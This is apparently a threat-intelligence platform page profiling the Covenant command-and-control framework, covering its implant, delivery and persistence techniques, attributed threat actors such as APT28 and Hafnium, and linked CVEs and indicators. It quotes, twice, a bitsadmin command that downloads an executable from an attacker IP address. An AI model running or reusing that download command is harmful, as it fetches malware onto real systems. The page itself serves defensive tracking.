Loading malware…
Covenant is an open-source .NET command-and-control and post-exploitation framework written in C# and first released in 2019. It is used by red teams and has also been adopted and modified by multiple threat actors in real intrusions. Its implant component, commonly known as Grunt, supports encrypted command-and-control communications and in-memory execution of .NET assemblies and other post-compromise tasks on Windows systems.
Covenant functions primarily as a post-exploitation platform rather than a standalone initial-access malware family. It can generate multiple launcher and staging formats, including HTA- and scriptlet-based delivery artifacts, and has documented support for execution chains involving MSBuild and Regsvr32. Reported operator tradecraft includes use of HTTP for command and control, PowerShell-based launchers that decode and decompress .NET payloads in memory, and persistence through mechanisms such as Registry Run keys and WMI event subscriptions.
The framework has been observed in both criminal and state-linked operations. Microsoft reported its use by the China-linked Hafnium group during post-compromise activity following Exchange Server exploitation in 2021. More recently, APT28/Sednit/Fancy Bear heavily modified Covenant for long-term espionage operations against Ukrainian military, governmental, logistics, transport, and drone-related targets. In those campaigns, operators adapted Covenant to use legitimate cloud storage providers as command-and-control channels, altered implant naming and execution flow for operational durability, and paired it with other implants such as BeardShell and SlimAgent. Modified Covenant variants in these operations were delivered through spearphishing and Office exploit chains, including campaigns exploiting CVE-2026-21509, and were loaded in memory via steganographic loaders and .NET runtime initialization inside trusted Windows processes.
In practical use, Covenant enables remote command execution, loading of additional assemblies, PowerShell tasking, encrypted result return, and broader post-exploitation activity. Because it is a flexible offensive framework rather than a single fixed payload, its exact behavior depends on operator customization and deployed modules.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
3 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.
Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.
Spoločnosť Microsoft vydala mimoriadne bezpečnostné aktualizácie kancelárskeho balíka Microsoft Office, ktoré opravujú aktívne zneužívanú zero-day zraniteľnosť. CVE-2026-21509 možno zneužiť podvrhnutím špeciálne vytvorených súborov na obídenie bezpečnostných mechanizmov pre ochranu pred zneužitím niektorých funkcií COM/OLE a získanie úplnej kontroly nad systémom. | Cieľom je nainštalovať malvér MiniDoor (kradne e-maily) a PixyNetLoader, ktorý nainštaluje útočný nástroj Covenant.
6 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Covenant is an open-source .NET command and control (C&C) framework, and Grunts are its implant agents that feature dynamic compilation and encrypted command-and-control communications.
Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.
Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.
"...execute payloads based on Donut and the Covenant post-exploitation framework."
The attackers also customized the Covenant red-team framework to route encrypted command-and-control traffic through Koofr and Icedrive cloud services, making detection difficult.
In the recent attacks, the Russian threat group paired BeardShell with a heavily modified version of the open-source Covenant .NET post-exploitation framework.
35 distinct techniques documented for this family, organized by ATT&CK tactic.
恶意文件类型多种多样,其中包括但不限于EXE、MS Office 宏文档、漏洞文档、LNK文件、VBS 脚本、PowerShell 脚本等。
Execution matrix 1 Technique Count Frameworks Windows Command Shell 10/10
These threats demonstrate techniques T1127 (Trusted Developer Utilities) and T1500 (Compile After Delivery) of MITRE ATT&CK framework.
bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe
CreateProcessWithLogonW ... provides a native way to spawn a new process with different network-only credentials ... the built in Windows utility, runas, is a simple wrapper around CreateProcessWithLogonW and the /NETONLY flag provides a native way to spawn a new process with different network-only credentials.
Persistence matrix 2 Technique Count Framework Windows Service 4/10
Persistence matrix 2 Technique Count Framework WMI Event Subscription 4/10
并使用QueueUserAPC函将该APC对象加入到指定线程的APC队列中从而进行进入到Shellcode入口处执行恶意操作。
Access Token Manipulation (ATT&CK technique: T1134) ... this section will explain how attackers can abuse access tokens and target the fundamental trust relationships in Windows domains to compromise entire networks.
CreateProcessWithLogonW ... provides a native way to spawn a new process with different network-only credentials ... the built in Windows utility, runas, is a simple wrapper around CreateProcessWithLogonW and the /NETONLY flag provides a native way to spawn a new process with different network-only credentials.
Persistence matrix 2 Technique Count Framework Windows Service 4/10
Persistence matrix 2 Technique Count Framework WMI Event Subscription 4/10
并使用QueueUserAPC函将该APC对象加入到指定线程的APC队列中从而进行进入到Shellcode入口处执行恶意操作。
These threats demonstrate techniques T1127 (Trusted Developer Utilities) and T1500 (Compile After Delivery) of MITRE ATT&CK framework.
Access Token Manipulation (ATT&CK technique: T1134) ... this section will explain how attackers can abuse access tokens and target the fundamental trust relationships in Windows domains to compromise entire networks.
bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe
CVE-2026-21509 možno zneužiť podvrhnutím špeciálne vytvorených súborov na obídenie bezpečnostných mechanizmov pre ochranu pred zneužitím niektorých funkcií COM/OLE a získanie úplnej kontroly nad systémom.
APT29 has use mshta to execute malicious scripts on a compromised host... APT32 has used mshta.exe for code execution... APT38 has used a renamed version of mshta.exe to execute malicious HTML files... FIN7 has used mshta.exe to execute VBScript to execute malicious code on victim systems.
BeardShell ... leverages the legitimate cloud storage service Icedrive as its C&C channel... Previously, in 2023, Sednit’s Covenant abused the legitimate cloud service pCloud, and in 2024–2025, Koofr ... Figure 11 shows the classes introduced by Sednit developers to communicate with the Filen cloud provider, used since July 2025.
99 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
68 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
An open-source .NET C2 framework whose Grunt implant/stager is used as the final PRISMEX payload for command-and-control and task execution.
Modified implant/loader used to embed shellcode into PNG files for steganographic delivery, extract it at runtime, recover C2 information from cloud-hosted images, and communicate through Filen, pCloud, and Koofr.
A customized in-memory deployment of the Covenant framework used in Operation Phantom Net Voxel as part of APT28's modern implant chain.
An implant used by Sednit against Ukrainian military personnel and drone-related organizations.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.